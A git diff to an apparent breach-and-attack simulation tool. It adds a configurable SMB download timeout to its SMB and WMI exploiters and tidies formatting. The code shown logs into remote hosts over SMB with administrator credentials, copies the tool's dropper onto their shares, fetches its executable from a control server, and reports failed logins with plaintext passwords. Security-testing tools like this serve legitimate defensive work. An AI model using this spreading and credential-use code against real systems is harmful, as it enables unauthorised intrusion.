diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py index 3e4039520..01ad9a566 100644 --- a/chaos_monkey/config.py +++ b/chaos_monkey/config.py @@ -206,6 +206,9 @@ class Configuration(object): # rdp exploiter rdp_use_vbs_download = True + # smb/wmi exploiter + smb_download_timeout = 300 # timeout in seconds + # system info collection collect_system_info = True diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf index b9f4b8e8e..69e559275 100644 --- a/chaos_monkey/example.conf +++ b/chaos_monkey/example.conf @@ -65,6 +65,7 @@ "psexec_user": "Administrator", "range_size": 30, "rdp_use_vbs_download": true, + "smb_download_timeout": 300, "retry_failed_explotation": true, "scanner_class": "TcpScanner", "self_delete_in_cleanup": true, diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index 0a03a0f95..1063e256d 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -2,6 +2,7 @@ from abc import ABCMeta, abstractmethod __author__ = 'itamar' + class HostExploiter(object): __metaclass__ = ABCMeta _target_os_type = [] @@ -18,4 +19,4 @@ from wmiexec import WmiExploiter from smbexec import SmbExploiter from rdpgrinder import RdpExploiter from sshexec import SSHExploiter -from shellshock import ShellShockExploiter \ No newline at end of file +from shellshock import ShellShockExploiter diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 016128047..e0571a6a1 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -79,7 +79,8 @@ class SmbExploiter(HostExploiter): self._config.psexec_user, password, src_path, - self._config.dropper_target_path) + self._config.dropper_target_path, + self._config.smb_download_timeout) if remote_full_path is not None: LOG.debug("Successfully logged in %r using SMB (%s : %s)", @@ -131,6 +132,7 @@ class SmbExploiter(HostExploiter): return False smb_conn = rpctransport.get_smb_connection() + break # We don't wanna deal with timeouts from now on. smb_conn.setTimeout(100000) diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py index a7350a3f6..9fab2d715 100644 --- a/chaos_monkey/exploit/tools.py +++ b/chaos_monkey/exploit/tools.py @@ -22,6 +22,7 @@ from impacket.dcerpc.v5.dtypes import NULL class DceRpcException(Exception): pass + __author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -111,7 +112,6 @@ class WmiTools(object): DCOMConnection.PINGTIMER.join() DCOMConnection.PINGTIMER = None - @staticmethod def get_object(wmi_connection, object_name): assert isinstance(wmi_connection, WmiTools.WmiConnection) @@ -132,7 +132,7 @@ class WmiTools(object): wql_query = "SELECT %s FROM %s" % (fields_query, object_name) if where: - wql_query += " WHERE %s" % (where, ) + wql_query += " WHERE %s" % (where,) LOG.debug("Execution WQL query: %r", wql_query) @@ -166,13 +166,13 @@ class WmiTools(object): class SmbTools(object): @staticmethod - def copy_file(host, username, password, src_path, dst_path): - assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, ) + def copy_file(host, username, password, src_path, dst_path, timeout=60): + assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) config = __import__('config').WormConfiguration src_file_size = monkeyfs.getsize(src_path) - smb, dialect = SmbTools.new_smb_connection(host, username, password) + smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout) if not smb: return None @@ -183,7 +183,8 @@ class SmbTools(object): try: smb.logoff() - except: pass + except: + pass return None @@ -236,9 +237,9 @@ class SmbTools(object): 'share_path': share_path} if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info), ) + high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) - low_priority_shares += ((ntpath.sep + file_name, share_info), ) + low_priority_shares += ((ntpath.sep + file_name, share_info),) shares = high_priority_shares + low_priority_shares @@ -248,7 +249,7 @@ class SmbTools(object): share_path = share['share_path'] if not smb: - smb, _ = SmbTools.new_smb_connection(host, username, password) + smb, _ = SmbTools.new_smb_connection(host, username, password, timeout) if not smb: return None @@ -271,7 +272,7 @@ class SmbTools(object): if file_info: if src_file_size == file_info[0].get_filesize(): LOG.debug("Remote monkey file is same as source, skipping copy") - return None + return remote_full_path LOG.debug("Remote monkey file is found but different, moving along with attack") except: @@ -279,6 +280,8 @@ class SmbTools(object): try: with monkeyfs.open(src_path, 'rb') as source_file: + # make sure of the timeout + smb.setTimeout(timeout) smb.putFile(share_name, remote_path, source_file.read) file_uploaded = True @@ -308,7 +311,7 @@ class SmbTools(object): return remote_full_path @staticmethod - def new_smb_connection(host, username, password): + def new_smb_connection(host, username, password, timeout=60): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) except Exception, exc: @@ -334,6 +337,7 @@ class SmbTools(object): host, username, password, exc) return None, dialect + smb.setTimeout(timeout) return smb, dialect @staticmethod @@ -341,7 +345,7 @@ class SmbTools(object): dce = SmbTools.get_dce_bind(smb) rpc_method_wrapper = getattr(srvs, rpc_func, None) if not rpc_method_wrapper: - raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper, )) + raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,)) return rpc_method_wrapper(dce, *args) @@ -376,12 +380,12 @@ class HTTPTools(object): return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd - + def get_target_monkey(host): from control import ControlClient import platform import sys - + if host.monkey_exe: return host.monkey_exe @@ -391,15 +395,15 @@ def get_target_monkey(host): monkey_path = ControlClient.download_monkey_exe(host) if host.os.get('machine') and monkey_path: - host.monkey_exe = monkey_path + host.monkey_exe = monkey_path if not monkey_path: if host.os.get('type') == platform.system().lower(): # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe - if (not host.os.get('machine') and sys.maxsize < 2**32) or \ + if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ host.os.get('machine', '').lower() == platform.machine().lower(): monkey_path = sys.executable - + return monkey_path @@ -425,5 +429,4 @@ def report_failed_login(exploiter, machine, user, password): from control import ControlClient ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__, - 'user':user,'password':password}) - + 'user': user, 'password': password}) diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 30c281c12..982ff2f4d 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -81,7 +81,8 @@ class WmiExploiter(HostExploiter): self._config.psexec_user, password, src_path, - self._config.dropper_target_path) + self._config.dropper_target_path, + self._config.smb_download_timeout) if not remote_full_path: wmi_connection.close()